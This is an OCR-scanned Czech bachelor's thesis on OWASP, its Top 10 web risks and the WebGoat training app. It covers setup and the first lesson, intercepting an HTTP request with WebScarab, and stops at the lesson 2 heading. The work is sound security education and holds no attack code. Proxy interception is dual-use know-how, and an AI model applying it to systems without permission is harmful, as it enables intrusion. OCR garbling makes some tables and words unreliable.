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ANOTACE

Tato prace se zabyvd vyukovou podporou pro bezpecnost webovych technologii podle
neziskové organizace OWASP. V teoretické Casti je struéné popséna organizace OWASP
ataké aplikace WebGoat. Déle tam nalezneme informace o deseti nejvétSich hrozbach
webovych stranek pro rok 2014 dle organizace OWASP. V praktické ¢asti prace je popsano
deset vyukovych tloh vyukového prostredi aplikace WebGoat.
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TITLE

Educational support for the safety of web technologies.

ANNOTATION

This thesis deals with educational support for the security of web technologies by nonprofit
organization OWASP. The theoretical part briefly describesthe organization OWASP
and appliacation WebGoat. Additionally there will find information about the top ten threats
for website for 2014 according to the OWASP organization. The practical aprt describes ten

teaching tasks of learning environment WebGoat application.
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0 UVOD

Internet je v dneSni dobé soucasti zivota mnoha lidi. Stézi narazime na né&jakou firmu
¢iosobu, kterd snim nepfisla do styku. Internet vyuzivame v pribéhu celého dne
pro pracovni tcely, proto, abychom se vzdélavali a také pro soukromé tcely a zabavu. Velmi
podstatnou soucasti je také podpora komunikace mezi lidmi. Pokud se na internetu
pohybujeme, je zapotiebi myslet na to, ze ne vSichni uzivatelé se zde chovaji podle pravidel.
V momenté, kdy se piipojime do této sité, jsme razem otevieni k jakékoliv komunikaci
S ohromnym mnozstvim lidi a stroju, které se zde pohybuji. Ne vSak vSichni uzivatelé ma;ji
dobré umysly. Typt nebezpeci je v tomto prostiedi skuteén¢ nemalo avSak ne vSichni si tuto
skutecnost uvédomujeme. Pokud vSak chceme internet vyuzivat, méli bychom mit povédomi
alespon o zakladnich typech utokl a zpisobech, kterymi se danym utokiim muizeme branit.
Také bychom neméli véfit kazdé informaci, kterou na internetu nalezneme. Vzdy bychom
méli pouzivat zdravy rozum.

Obéti internetového utoku se mizeme stat napiiklad stahovanim piratskych verzi programii,
které¢ mohou obsahovat viry ¢i jiny Skodlivy software. Napadeni mizeme byt také skrze nasi
e-mailovou schranku. Je totiz mozné, ze obdrzime zpravu s piilohou od neznamé osoby a tato
priloha mize taktéz obsahovat vir ¢i jiny Skodlivy obsah. Také existuje nespocet webovych
stranek, ze kterych muzeme pfi jejich prohlizeni byt napadeni. Nejen ze ndm mohou byt
odcizeny né¢jaké soubory ¢i dokumenty z nasich zafizeni, také se nam Uto¢nik miize nabourat
na ruzné ucty a poskodit nas tak. Jednim z nejvétSich strasaku je asi to, ze by se nam nékdo
dostal do naSeho bankovnictvi a ptipravil nas tak o naSe penize.

V soucasnosti jsou jiz téméi vSechny podnikové aplikace feSeny na bazi klient/server, a kdyz
klient, tak samoziejme webovy. Vyhody jsou jasné — zaméstnanci i zakaznici maji odkudkoli
okamzity pfistup ke svym datim. Spolecné se stile veétSim otevirdnim firemnich aplikaci
smérem do internetu je vSak tieba mit krom pouzitelnosti, funkci a dostupnosti na zieteli také
bezpeénost. Moznosti, kterak 1ze tyto aplikace ohrozit, existuje nespocet. Stejné riziko pada
I na servery, které tyto aplikace poskytuji.

15



1 OPEN WEB APPLICATION SECURITY PROJECT

Vychodiskem pro zpracovani bakalaiské prace byla organizace OWASP (OWASP [online].
[cit. 2016-05-12]. Dostupné z: https://www.owasp.org/index.php/Main_Page).

Open Web Application Security Project (OWASP) je nevydéleénou organizaci, ktera
se zaobira vylepSenim bezpecnosti aplikaci a to zejména v oblasti webovych stranek. OWASP
byl zalozen roku 2001 a jeho zakladateli jsou Mark Curphey a Dennis Groves. Tti roky na to
vznikla v Americe organizace s nazvem OWASP Foundation. Ukolem této organizace je
zastteSovat projekt OWASP. I pies to, Zze je OWASP Foundation nekomercni spole¢nosti,
tak vysledky ¢innosti projektu OWASP slouzi i komer¢ni oblasti. Tato spole¢nost je tvofena
ze Siroké Skaly projektl, které maji za cil vylepsit zabezpeceni webovych aplikaci. Dané
projekty lze tfidit na vyvojarské a dokumenta¢ni. Spolecnost OWASP Foundation také
podporuje zakladani lokalnich pobocek, jejichz ukolem je S$ifit informace z oblasti
zabezpedeni a to prostfednictvim diskusi, seminati a konferenci. Zde v Ceské Republice
se nachazi pravé dvé oficidln¢ zalozené pobocky a to pobocka OWASP Prague a OWASP
Czech Republic.

Ptiklady dokumentacnich projekti:

e OWASP Appliacation Security Verification Standard (ASVS) — jde o normu
pro testovani bezpecnostnich prvku aplikaci

e The Guide — podrobné pokyny pro zabezpeéeni webovych aplikaci

e OWASP Top Ten (Top Ten Most Critical Web Application Vulnerabilities) — jedna

e Metrics — definuje metriky zabezpeceni webovych aplikaci

e Legal — pomaha prodavajicim i kupujicim sjednat odpovidajici zabezpeceni
ve smlouvach

e Testing Guide — pritvodce testovanim zabezpeceni webovych aplikaci

e SO 17799 — podklady pro organizaci realizujici ISO 17799

o AppSec FAQ — casto kladené otazky

Piiklady vyvojaiskych projekth:
e \WebScarab — nastroj pro testovani zranitelnosti webovych aplikaci
o WebGoat — dérava aplikace, na které si mizete v bezpe¢ném pravnim prostredi
zkouset bezpe¢nostni nedostatky
e Validation Filters — filtry
e DotNet — rGizné nastroje pro zabezpeceni .NET aplikaci

1.1 WebGoat

WebGoat je voln¢ dostupna webova aplikace, jejiz navrzeni je schvaln¢ déravé, coz znamena,
Ze neni zabezpe€ena proti utoklim. Tato aplikace slouzi predevsim pro vyukové tUcely a je
realizovana organizaci OWASP. Na tomto trenazéru si mizeme vyzkouset projevy nékterych
bezpecnostnich dér. Aplikace WebGoat je rozdélena do né€kolika riznych lekci, kde v kazdé
lekci musime dokdzat to, ze jsme dostatecné pochopili dany bezpecnostni problém. Mame
také moZznost si vytvaret své vlastni lekce.
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Aplikace WebGoat vznikla predev§im proto, aby si lidé mohli vyzkouSet a otestovat
funkcnost a prubéh rtznych utokti a také proto, aby na ni mohli odbornici a vyvojari
pro bezpecnost webovych stranek zdokonalovat prostiedky pro zamezeni téchto utokt
pro ziskavani dat uzivateli a podobné. Navic pokud bychom si sami chtéli néjaky z té€chto
utokll vyzkouset, musime to provadét v bezpecném a pravnim prostiedi, jako je prave
naptiklad aplikace WebGoat. Nemuzeme se pokouset testovat zranitelnost na néjaké webové
aplikaci nebo internetovém obchodu ¢i bankovnictvi, jelikoz je to nelegélni. I kdyby nase
umysly byly dobré, nikdy bychom se neméli pokouSet hledat slabd mista na zminénych
mistech bez svoleni majitele.

Nejnovéjsi aktualni verzi aplikace WebGoat je verze 7.0 a jiz se dokonce pracuje na vyvoji
verze 7.1. WebGoat je psat v Javé a proto lze nainstalovat na jakékoli platformé s Java virtual
machine (JVM), coz je sada datovych struktur a pocitacovych programi, ktera pouziva modul
virtualniho stroje ke spusténi dalSich skripti a pocitacovych programi napsanych pravé
v jazyce Java. K dispozici jsou vSak i instalaéni programy pro Windows, OS X Tiger a Linux.
Po instalaci si mize uzivatel zac¢it prochazet lekce a sledovat sviij pokrok na skore karté.
V soucasné dobé¢ existuje vice nez 30 lekci. Uzivatel si napiiklad v jedné lekci muze
vyzkouSet pouZzit SQL injection a ukrast ¢isla faleSnych kreditnich karet. Aplikace si klade
za cil poskytnout realistické vyukové prostiedi a poskytuje uzivatelim napoveédy a kod
k dalsimu vysvétleni lekci.

1.2 OWAPS Top 10 pro rok 2014

wewvr

organizaci. Ke kazdému riziku jsou poskytnuty obecné informace. Tyto informace obsahuji
pravdépodobnosti a mozny technicky dopad. OWASP dané informace poskytuje
skrze elementarniho schématu hodnoceni, které vychazi z OWASP Risk Rating Methodology.

Pilivodei Vektory Roziifeni Zjistitelnost § Technické Obchodni
hrozby Utoku slabiny slabiny dopady dopady
Specifické SPE::'!“*

oo aplikaci /
aplikaci
ObtiZny Vzdcné Obtlina Maly podnikani

Obrazek 1 — Znazornéni stavi rizik

(zdroj: www.owasp.com)

OWASP Risk Rating Methodology definuje Cinitele, které ndm dopoméhaji vypocitat dané
riziko 1identifikovatelné zranitelnosti. Top 10 rizik vSak musi byt popsano vSeobecné,
ne vyobrazovat konkrétni zranitelnosti v redlnych aplikacich. Proto my, jakoZto vlastnici
systétmu, me¢li vyhodnotit jednotlivd rizika se zaméfenim na pivodce hrozeb, obchodni
dopady na nés podnik a bezpe¢nostni kontroly.
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OWASP Top 10 - 2010 (predeslé)

OWASP Top 10 - 2013 (nové)

Al - Injektovani

Al - Injektovani

A3 — Chybna autentizace a sprava relace

A2 - Chybna autentizace a sprava relace

A2 — Cross-5Site Scripting (X55)

A3 — Cross-Site Scripting (XS5)

Ad - Nezabezpedeny pfimy odkaz na objekt

A4 - Nezabezpeéeny pfimy odkaz na objekt

AB — Nezabezpedena konfigurace

A5 — Nezabezpecena konfigurace

A7 — Nechrdn&né kryptografické uklidani — slougeno s A9

Ab — Expozice citlivych dat

AS - Selhdni v omezeni URL pfistupu — roziifeno do <

A7 - Chyby v Fizeni urovni pfistupi

AS - Cross-Site Request Forgery (CSRF)

AB — Cross-Site Request Forgery (CSRF)

<pohfbeno v A6: Nezabezpecena konfigurace>

A9 — Poutiti znamych zranitelnych komponent

A10 - Neosetfené pfesmérovani a predavani

A10 - NeodetFené presmérovani a predavani

A9 — Nedostate€nd ochrana transportni vrstvy

Slouteno s 2010-A7 do nového 2013-A6

Obrazek 2 — Prehled Top 10 z roku 2010 a 2013

(zdroj: www.owasp.com)

organizace OWASP. Miizeme vidét, ze nékteré z hrozeb 1 po nékolika letech stale zlistavaji
v seznamu Top 10 a nékteré dokonce ziistavaji na svych ptickach, coz znamena, si stale drzi
své umisténi dle vaznosti hrozby. Pokud bychom se podivali na seznam Top 10 hrozeb
pro rok 2014, nenasli bychom snad Zadnou stejnou hrozbu, kterd se vyskytovala v pfechozich
letech. Pravdou vsak je, Ze hrozby z ptedchozich let nezmizely. Byla pouze pfejmenovana

jejich oznaceni.
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2007

2004

Al = Cross Site Scripting ( X85)
A2 — Imjection Flaws

A3 — Malicious File Execution
Ad — Insecure Direct Object
Reference

A5 = Cross Site Request Forgery
{CSRF)

Ab — Information Leakage and
Improper Error Handling

AT - Broken Authentication and
Session Management

A8 — Insecure Cryptographic
Storage

AY — Insecure Communications

Al = Unvalidated Input

A2— Broken Access Control

A3 — Broken Authentication and
Session Management

A4 — Cross Site Scripting

A5 — Buffer Overflow

Ab — Imjection Flaws

AT — Improper Error Handling

AR — Insecure Storage

A9 — Application Denial of

Service

Al — Failure to Restrict URL
Access

Al0 — Insecure Configuration
Management

Obrazek 3 — Prehled Top 10 z roku 2007 a 2004

(zdroj: www.owasp.com)

Pokud bychom se vSak podivali jest¢ o nékolik let zpét, uvidime, jak se v tehdejsi dobé dané
hrozby ménily. Pfedev§im se ménila véha jednotlivych hrozeb. S ptfichodem novych moZnosti
pro web ¢i webové aplikace, pfichazi i nova rizika a nové slabiny, skrze které¢ mizeme byt
napadeni. Jak je vidét v pfedchozich dvou tabulkéch, rizik, kterd ndm mohou hrozit, je cela
Skéla.

Jelikoz my zname specifi¢nost svého oboru a okoli, jsme to pravé my, kdo by mél jednotliva
mozna rizika vyhodnotit. Neni podminkou, ze pro danou aplikaci musi existovat piivodce
hrozby, ktery by uskutecnil dany utok. Také technicky dopad nemusi mit zadny vliv na naSe
podnikani. Pro aplikace popisujeme piivodce hrozby jako specifické a obchodni dopady jako
specifické pro podnik a aplikaci. To proto, abychom dali patfiéné najevo, ze zalezi pfedev§im
na detailech aplikaci v nasem podniku.

Oznaceni rizik v Top 10 vychdazeji ze slabin, dopadu nebo typu ttoku, ktery zplisobuji. Nazvy
rizik jsou patfiéné vybrany a vystizné odraZeji mozZna rizika tam, kde je mozné jejich vyskyt
a tam, kde se nejvice ztotoznuji s béZznou terminologii.

Utoénik mohou pro své udely vyuzit celou $kalu riznych cest, skrze nasi aplikaci,
aby poskodili nasi organizaci nebo nas podnik. Kazda z téchto cest pro nas predstavuje urcité
riziko, které miiZe, ale i nemusi byt tak moc zavazné, aby stdlo za naSi pozornost. Nalezeni
a vyuziti takovych cest mize byt nékdy nesmirné obtizné. Naopak v n€kterych piipadech je
i velice jednoduché. Skoda zptisobena témito cestami miZe byt bez jakychkoliv nasledkd,
ale také muze zcela zablokovat nase podnikani. Pokud chceme urcit mozné riziko pro nasi
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organizaci, muzeme posoudit pravdépodobnost rizika. Tato pravdépodobnost je spojena
s kazdym ptivodcem hrozeb, bezpe¢nostni slabinou a vektorem utoku. Poté ji zkombinujeme
s odhadem obchodniho a technického dopadu na nasi organizaci. Tyto faktory spole¢né urcu;ji
celkové riziko, které nam hrozi.

Plvodci Vektor Bezpetnostni Bezpeénostni Technické Obchodni
hrozby ltoku slabiny kontroly dopady dopady
% e | Utok Slabina Kontrola Dopad

Akthvum

% Utok |‘ slabina Kontrola

Utok Slabina

Slabina +—+ Kontrola

Obrazek 4 — Znazornéni cesty tuto¢nika

Akthvum

(zdroj: www.owasp.com)

1.2.1 Web Application Vulnerabilities

Zranitelnost je klicovym problémem v jakémkoli systému, ktery stfezi citliva uzivatelské data
nebo snimi pracuje. Pokud selzeme v navrhu designu a implementace aplikace,
nebo odhaleni chyb a jejich nasledné oprave, je mozné, Ze to bude mit za nasledek naruSeni
soukromi. Webové aplikace mohou byt zranitelné a uto¢nik toho muze zneuzit pro ziskani
piistupu K databazi, zneuzivani G¢tt nebo relaci. Povinnosti spravce osobnich udaji je zafidit,
aby byla aplikace bezpec¢na.

1.2.2 Operator-sided Data Leakage

V ptipadé€, Ze se nam nepodaii zabranit Gniku jakychkoli informaci obsahujici uZivatelska
data, informaci vztahujicich se k uzivatelskym datim nebo k oném datim samotnym, a tato
data se dostanou k neopravnéné osobé, vede to ke ztrat¢ diuvérnosti dat. To se mize stat
v disledku zdmérného ¢inu nebo neumysiné chyby, zpisobené naptiklad nedostateCnymi
kontrolami fizeni pfistupu, nezabezpecenym ulozistém, duplikaci dat nebo kviili nedostatku
znalosti v dané problematice.

Jednotlivé uniky dat mohou byt zptisobeny prostiednictvim:

e Bad Access Privilege Management (zaméstnanci maji nevhodna piistupova prava
k osobnim tidajim zpracovanymi webovou aplikaci a to kvili Spatnému fizeni
pfistupu opravnéni nebo nedostatecnym rozdélenim funkci).

e Storage of data in shared access memory (data jsou uchovavana v mistech,
ktera jsou pfistupna i jinym aplikacim, kterym jsme neposkytli povoleni pouziti dat).

e Unintended releasing of data (zvefejnéni dat na webovych strankach
bez vaznéjsiho omezeni piistupu nebo z divodu slabé anonymizace, ktera umozni
trvalé odstranéni informaci, jako jsou naptiklad osobni udaje obcanii ¢i obchodnich
partnert, rizné data anebo smluvni ceny).
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Inappropriate Duplicate Handling (s kopiemi osobnich udaji musi byt zachazeno
dle stejnych standardu jako s originalnimi daty z webové aplikace. Kopie by mély byt
odstranény co nejdiive, pokud jiz nejsou potieba k zadnému konkrétnimu tcelu,
jako napiiklad zalozni data).
e Incomplete sandboxing (sandbox je oznaceni pro bezpe¢nostni mechanismus,
ktery slouzi pro oddélovani bézicich procesi. Soukromi mize byt napadeno
aplikacnim prostfedim nebo aplikaci tfeti strany).
e Data remaining on discarded storage (0osobni data ulozena v zafizeni ¢i na opakované
pouzivaném ulozném médiu pro uchovavani dat a také data v mezipaméti by mohla
byt znovu obnovena bez jakéhokoliv povoleni. Z vyfazenych zatizeni bychom méli
vymazat vzdy veskeré udaje).

® Commingled storage data (ukladani dat s riznymi pozadavky na zabezpeceni by
mohlo vést k jejich neumyslnému odhaleni nebo k zdmén€. Toto naruSeni nezahrnuje
utoky na webové aplikace, jako je SQL injection).

1.2.3 Insufficient Data Breach Response

Jednd se o neinformovéani dotcenych osob o mozném uniku dat nebo jejich poruSeni.
Tato zalezitost mize byt zplsobena jak umysIng, tak neumysiné. Mizeme selhat v opravé
pfi¢iny daného problému. V takovém piipadé se jedna o neumyslny ¢in. Cinem umyslnym
by bylo, kdybychom se uniky dat vibec nesnazili omezit. Pokud zjistime, ze unikla néjaka
data, musime o tom poskozené uZzivatele informovat, aby se zabranilo pfipadnému zneuziti
a dalSich skod. Navic jsou nutna protiopatieni, jako je opraveni aplikace nebo jeji nouzové
vypnuti. Veskeré kritické udalosti by mély byt zaznamenavany. Organizace musi mit plan
Incident Response (organizovany pfistup k feSeni a fizeni ndsledkli naruseni bezpecnosti
nebo napadeni) pro zpracovavani osobnich tdaju.

1.2.4 Insufficient Deletion of Personal Data

Timto pojmem mame na mysli neschopnost dostate¢né ¢i v€asné odstranit osobni udaje
po skonceni stanoveného ucelu nebo na vyZzadani jejich odstranéni. Celkové vymazani
specifickych dat miize byt problémem. Data mohou byt uklddana po 1éta a jsou tedy soucasti
nckolika zaloh. Navic mohou byt sdilena s nékolika dal§imi internimi a externimi aplikacemi.
Provozovatel muze postradat politiku uchovavani dat, musi vSak zajistit, aby byl schopen
odstranit v§echny osobni udaje uzivateli v ptislusném ¢asovém obdobi.

1.2.5 Non-transparent Policies, Terms and Conditions

Nékteré dané politiky, dohody ¢i podminky jsou zavadéjici nebo také nedostatecné
srozumitelné pro bézného uzivatele, ktery neni pravnikem. Také miize chybét popis toho,
jak jsou data shromazd’ovana, uchovavana a jak se Snimi naklada. Pfitom by takové
podminky ¢i dohody mély uzivatele informovat o tom, k ¢emu jsou dané osobni tudaje
uzivateli potfeba a jak snimi bude naloZzeno. M¢ély by byt predevSim transparentni,
srozumitelné a také je zapotiebi je pravidelné aktualizovat.
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Z tohoto diivodu jsou hlavni problémy nasledujici:

e Nedostatecné nebo nezvetejnéné podminky (jsou zastaralé, tézko k nalezeni,
nespravné, neuplné nebo zveiejnéné v nepiimerené podobné, jako je cizi jazyk, ¢i jsou
ve specidlnim formatu, jako tieba zip7, nedostatecné vysvétluji ucel nebo jsou tézko
pochopitelné).

e Netplné nebo chybéjici informace o identité, kontaktnich tidajich a obvykle
0 rezidenci spravce udaja.

e Non-transparency o uprave zakonl o ochran¢ soukromi (v zavislosti na zemich,
kde sidli provozovatel a kde jsou skladovany ¢i zpracovavany data) — tyto zakony se
¢as od ¢asu méni, proto by uzivatelé méli byt informovani o opatienich, ktera maji
vliv na jejich soukromi.

1.2.6 Collection of data not required for the primary purpose

Neéktera data nejsou nezbytnd pro ucely systému. Prikladem mutze byt shromazd’ovani
demografickych udaji ¢i jakychkoliv jinych dat souvisejici s uzivateli. Plati to 1 pro udaje,
unichz uzivatelé neposkytli souhlas K jejich Sifeni. Kolikrat se po uzivatelich vyzaduje
vyplnit zbyte¢né pole ve formulafi. Napiiklad na néjakém internetovém diskuznim foru
ziejm¢e nebude dilezité, jakou ma uzivatel adresu nebo jaké je jeho telefonni ¢islo. Tento ¢in
bereme jako poruseni ochrany soukromi uzivatelil.

1.2.7 Sharing of Data with Third Party

Muze se stat, ze uzivatelskd data jsou poskytovana treti osob€, aniz by k tomu vydal dany
uzivatel, ke kterému se poskytovand data vztahuji, jakykoliv souhlas. Takovato situace
by nemé¢la nastavat. Sdileni dat v disledku jejich pfevodu, vyménou za finanéni kompenzaci
nebo jinak nevhodné sdileni dat z dlivodu vyuZivani zdroji tfetich stran jsou zahrnuty
do webové stranky jako widgety (rozumime tim rdzna tlacitka k socidlnim sitim, mapam,
pocasi a podobn¢), analytické nastroje nebo takzvané web bugs (napiiklad signaly).

1.2.8 Outdated personal data

Jde o pouzivani zastaralych, nespravnych nebo faleSnych uzivatelskych dat. Také tim
myslime selhani v aktualizaci ¢i opravé uZivatelskych dat. Osobni tdaje se mohou v prubéhu
Casu stat zastaralé. Data je nutné zachovéavat aktudlni v rozsahu nezbytném pro jejich ucely.
Napftiklad internetovy obchod musi aktualizovat své zdznamy o uzivatelich, jelikoz kdyby
néjaky zdkaznik zménil tfeba svou adresu, bude zboZi dorucovano na nespravné misto.

1.2.9 Missing or insufficient Session Expiration

Tento pojem popisuje selhani v efektivnim vynuceni ukonceni relace. Webové aplikace

se snazi shromazdit informace o uzivatelich prostfednictvim rozsifenych relaci. Nepfimétené
dlouhé relace prahové hodnoty Casového limitu vytvareji prilezitost pro sbér dat z jinych
webovych stranek. Neni zapotiebi vystavovat osobni udaje déle, nez je nezbytné nutné.

To miize mit za nésledek shromazd’ovani uzivatelskych dat bez souhlasu nebo védomi
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uzivatele, ke kterému se tato data vazi. Casto se jedna o tlacitka pro odhlaseni uzivatele,
ktera nejsou snadno ptistupnd nebo rozpoznatelna.

1.2.10 Insecure Data Transfer

Pod timto titulkem pojednavame o neposkytnuti Sifrovani a pouziti nezabezpecenych kanalt
pro ptenos dat, abychom zabranili jejich tniku. Odesilani nesifrovanych dat mize ohrozit
soukromi (napfiklad hesla ¢i ¢isla kreditnich karet). DalSim ptikladem poruseni ochrany
osobnich udaji v pribéhu ptenosu dat je URL adresa, kterd mad snadno rozpoznatelné
informace o uzivateli. Jedna se o selhdni prosazeni mechanismii, které omezuji hladinu uniku
dat, coz naptiklad umoziiuje odvodit nekterd uzivatelskd data z mechaniky provozu webové
aplikace.
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2 PRAKTICKA CAST

2.1 Priprava pro praktickou ¢ast

Vsechny ulohy jsou zpracované podle aplikace WebGoat.O této bezplatné aplikaci
od projektu OWASP, ktera slouzi pro predvedeni ruznych utokl, bylo jiz zminéno. Nyni
skrze obrazky nahlédneme do aplikace WebGoat a podivame se a vyzkouSim si nckteré
Z moznych utokd.

Ze vseho nejdiive si ovSem tuto aplikaci musime zprovoznit. Z oficidlnich stranek projektu
OWASP si dle navodu instalace stdhneme a nainstalujeme aplikaci WebGoat. Pottebovat
nainstalovat také budeme tfeba Tomcat, Java a WebScarab. Javu budeme potiebovat
pro nainstalovani programu WebScarab, ktery nadm poslouzi pro zobrazovéni nékterych
vystupu pro lekce z aplikace WebGoat. Na webovych strankach projektu OWASP najdeme
veskeré potiebné informace pro instalaci téchto programt a jejich nésledné nastaveni.

Jakmile mame vSechny potifebné programy pfipravené, spustime soubor s ndzvem webgoat,
¢imz se nastartuje server Tomcat a poté jiz staci do webového prohlizeCe zadat URL adresu
ve znéni:

http://localhost/webgoat/attack|

Jakmile tak ucinime, zobrazi se nam vyzva k tomu, abychom zadali uzivatelské jméno
a heslo. Oba tyto tdaje jsou ve vychozim stavu nastavena na slovo guest, coz znamena host
¢i navstévnik. Po pfihlaSeni se nam zobrazi zékladni obrazovka, jak ilustruje nésledujici
obrazek.
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owasewebGoatvsz [ |

Thank you for using WebGoat! This program is a demonstration of common web application flaws. The
exercises are intended to provide hands on experience with application penetration testing techniques

The WebGoat project is lead by Bruce Mayhew. Please send all comments to Bruce at
WebGoat@owasp.org.

Thanks to () QOUNCE LABS for supporting Bruce on the WebGoat Project

OWASP ASPEC'I’) i

The Open Wy Apglicaton Scouriny Progect
Applcasion Security Speciedsrs

WebGoat Design Team
Brucs Maynew
Dawve rson
Rogan Dawes Romain Srechet
Laurence Casey (Graphics)

Special Thanks for V5.2 Documentation Contributers

Reto Lippuners
Mas Virth

To all who have sent comments

Obrizek 5 — Uvodni stranka testovani aplikace WebGoat

(zdroj: vlastni)

My budeme pracovat konkrétné s verzi 5.2. Po ptecteni nékolika ivodnich slov miizeme
vstoupit do aplikace skrze kliknuti na tla¢itko s napisem Start WebGoat. Neméli bychom
opomenout si dikladné piecist Cervené zvyraznéné varovani, ve kterém stoji, ze si mame
davat pozor pfi pouzivani tohoto programu, jelikoz v pribéhu pohybovani se v této aplikace
je nas stroj extrémné zranitelny a mohlo by dojit k né¢jakému Utoku na naSe zafizeni. Déle se
tam pisi jiz jen n&jaka upozornéni, o kterych jsme se zminovali jiz na zacatku, kdyz jsme
si aplikaci WebGoat ptedstavovali.
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Logout 0

How to work with WebGoat

OWASP WebGoat V5.2

g&i?;mon Solution VideosHow To Work With WebGoat Restart this Lesson
Access Control Flaws

AJAX Security
Authentication Flaws
Buffer Overflows

Code Quality

Concurrency

Cross-Site Scripting (XSS)
Denial of Service
Improper Error Handling
Injection Flaws

Insecure Comfn':unlcatlon
Insecure Configuration

Insecure Storage The WebGoat Interface
Parameter Tampering

S Management Flaws
Web Services

Admin Functions
Challenge

Welcome to a short introduction to WebGoat. b
Here you will learn how to use WebGoat and additional tools for the lessons

Environment Information

WebGoat uses the Apache Tomcat server. It is configured to run on localhost although this can be
easily changed. This configuration is for single user, additional users can be added in the tomcat-
users.xml file. If you want to use WebGoat in a laboratory or in class you might need to change
this setup. Please refer to the Tomcat Configuration in the Introduction section.

Restart this Lesson

w12 bays Enter your name in the input i
request, reverse the mput, ani

below and press "go” to submit. The server wil accept the
splay &t back to the user, dlustrating the basics of handling

an HTTP request.

The user should become familiar with the features of WebGoat by manipulating the above
buttons to view hints and soluticn. You have to use WebScarab for the first time.

Enter your name: Gol |

Obrazek 6 — Seznamovani se s prostifedim aplikace WebGoat

(zdroj: vlastni)

Po kliknuti na zminované tlacitko se dostdvame konecné¢ do vnitra aplikace. Na vyse
uvedeném obrazku sami vidime, ze nam aplikace WebGoat sama ptedstavuje své prostiedi.
V levé casti popisujiciho obrazku vidime menu (1), kde jsou jednotlivé kategorie. Pokud
na néjakou kategorii klikneme, zobrazi se nam veSkeré lekce, které obsahuje. Dale nam
aplikace popisuje jeji horni listu, kde se nachazi tlac¢itka Hinst, Show Params, Show Cookies,
Lesson Plan, Show Jawa a Solution. Pod nimi po pravé strané¢ nalezneme jesté tlacitko
s nazvem Restart this Lesson (8) pro nastaveni lekce do vychoziho stavu, abychom si mohli
danou lekci vyzkouSet znovu, at’ jsme ji pred tim jiz uspésn¢ dokoncili anebo se nam
nezdafilo dosahnout spravného vysledku. Tlacitka ve zmiflované horni liSt¢ nam také
dopoméhaji k riznym vécem. Hned prvni tlacitko (2) ndm po kliknuti na n¢j zobrazi
napovédu, kterd nam dopomuize danou lekci uspésné dokoncit. Dale se zde nachazi tlacitko
pro zobrazeni parametrti (3), zobrazeni cookies (4) nebo ¢i tladitko pro zobrazeni okna
S textem popisujicim, co je vlastné cilem a zdmérem dané lekce (5). Také zde jsou tlacitka
pro zobrazeni programovaciho zdrojového kodu v jazyce JAVA (6) a v neposledni fadé
tlacitko s kompletnim feSenim (7) pro pfipad, Ze by se nam nedafilo danou lekci dokon¢it
¢i pokud bychom si chtéli zkontrolovat jednotlivé kroky pro tspésné zvladnuti lekce.

Aplikace WebGoat nam krom téchto informaci také sdéli, jak nakonfigurovat program
Tomcat a pfedstavi nam néstroje jako WebScarab, Firebug, Wireshark a podobné.
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2.2 Lekcel-HTTP Basics
2.2.1 Predmluva

Pro tuto lekci bude zapotiebi provést nezbytné kroky, které jsou popsany v kapitole Piiprava
pro teoretickou ¢ast. Tato lekce spada do kategorie General.

2.2.2 HTTP Basics

Vsechny transakce http maji stejny obecny format. Kazdy pozadavek klienta a odpovédi
serveru ma tfi ¢asti. Prvni z nich je fadek s pozadavkem ¢i odpovédi, nasleduje ¢ast zahlavi
a posledni Casti je telo entity. Klient inicializuje transakce nasledujicim zptisobem. Klient
kontaktuje server a odesle pozadavek na dokument (GET /index.html?param=value HTTP /
1.0), dale klient odesle serveru informace v hlavicce o jeho konfiguraci ( User-Agent: Mozilla
/ 4.06 Pfijmout: image / gif, image / jpeg, * / *), aby server véd¢l, jaké formaty dokumentt
bude piijimat a nakonec muze klient zasilat dal$i data, kterd jsou vétSinou pouZzivana
programy CGI pouzitim metody POST.

2.2.3 Cil lekce

Lekce piedstavuje zaklady pro pochopeni pienosu dat mezi prohlize¢em a webové a webovou
aplikaci.

2.2.4 Postup

Jediné, co po nas v této lekei chtéji je, abychom do poli¢ka zadali n&jaké naSe uZivatelské
jméno a stiskli tlacitko S ndpisem Go. Jakmile tak u¢inime, program WebScarab zachyti nasi
zpravu jakozto zpravu od klienta. Na nasledujicim obrazku si mizeme prohlédnout vystup
z dané udalosti, kde je zachyceno pravé i naSe uzivatelské jméno, které jsme pied tim
zadavali.
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Http Basics

OWASP WebGoat V5.2

Introduction

General Solution VideosEnter your name in the input field below and press "go” to Restart this Lesson
submit. The server will accept the request, reverse the input,
Http Basics and display it back to the user, illustrating the basics of handling an HTTP request.
HTTP Splitting

The user should become familiar with the features of WebGoat by manipulating the above buttons to
Access Control Flaws view hints and solution. You have to use WebScarab for the first time.

AJAX Security

Authentication Flaws

Buffer Overflows Enter your name: |olleH [Gol
Code Quality Y il | 2
Concurrency o

Cross-Site Scripting (XSS) OWASP Foundation | Project WebGoat | Report Bug

Denial of Service
Improper Error Handling
Injection Flaws

Insecure Communication
Insecure Configuration
Insecure Storage
Parameter Tampering
Session Management Flaws
Web Services

Admin Functions
Challenge

Obrazek 7 — Aplikace WebGoat, kategorie General, lekce HTTP Basics

(zdroj: vlastni)

oo T |-

| Intercept requests : Intercept responses: [ |

[ Parsed | Raw |

Method URL Version
|F‘DST| |hltp:h'|0calhost:BUM’ebGoah'altack?Screen:30&menu:‘100 | |HTTPH.1 |
I Header Value

|{Host localhost

W|Proxy-Conn.._|keep-alive
|IContent-Le..[25

llcache-Con.. [max-age=0
|lAuthorization |Basic Z2VIc3Q6Z3VIc30=

||Accept text/html applicationfxhtml+xml applicationxml;q=0.9 imagefwebp, */*;q=0.8 Insert
|Iorigin hitp:Mocalhost
{Upgrade-n._.[1 Delete

||User—Agent Mozilla/s.0 (Windows MT 6.1, WOWE4) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/...
|lContent-Ty... |applications-www-form-urlencoded

|Referer hitp:iflocalhostWebGoat/attack?Screen=30&menu=100

|lAccept-Enc... |ozip, deflate, lzma

|lAccept-Lan... [cs-CZ,cs;0=0.8

“COOkie JSESSIONID=EBGGTCC34047FAFS409AF00FEG4DFOTA

ariable Value

person olleH ¥
SUBMIT T

Insert

Delete

| Accept changes I Cancel changes | Abort request | | Cancel ALL intercepts |

Obriazek 8 — WebScarab, kategorie General, lekce HTTP Basics, zachyceni uZivatelského jména

(zdroj: vlastni)
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2.3 Lekce 2 —-HTTP Splitting
2.3.1 Predmluva

Pro tuto lekci bude zapotiebi provést nezbytné kroky, které jsou popsany v kapitole Piiprava
pro teoretickou ¢ast. Tato lekce spada do kategorie General.

2.3.2 HTTP Splitting

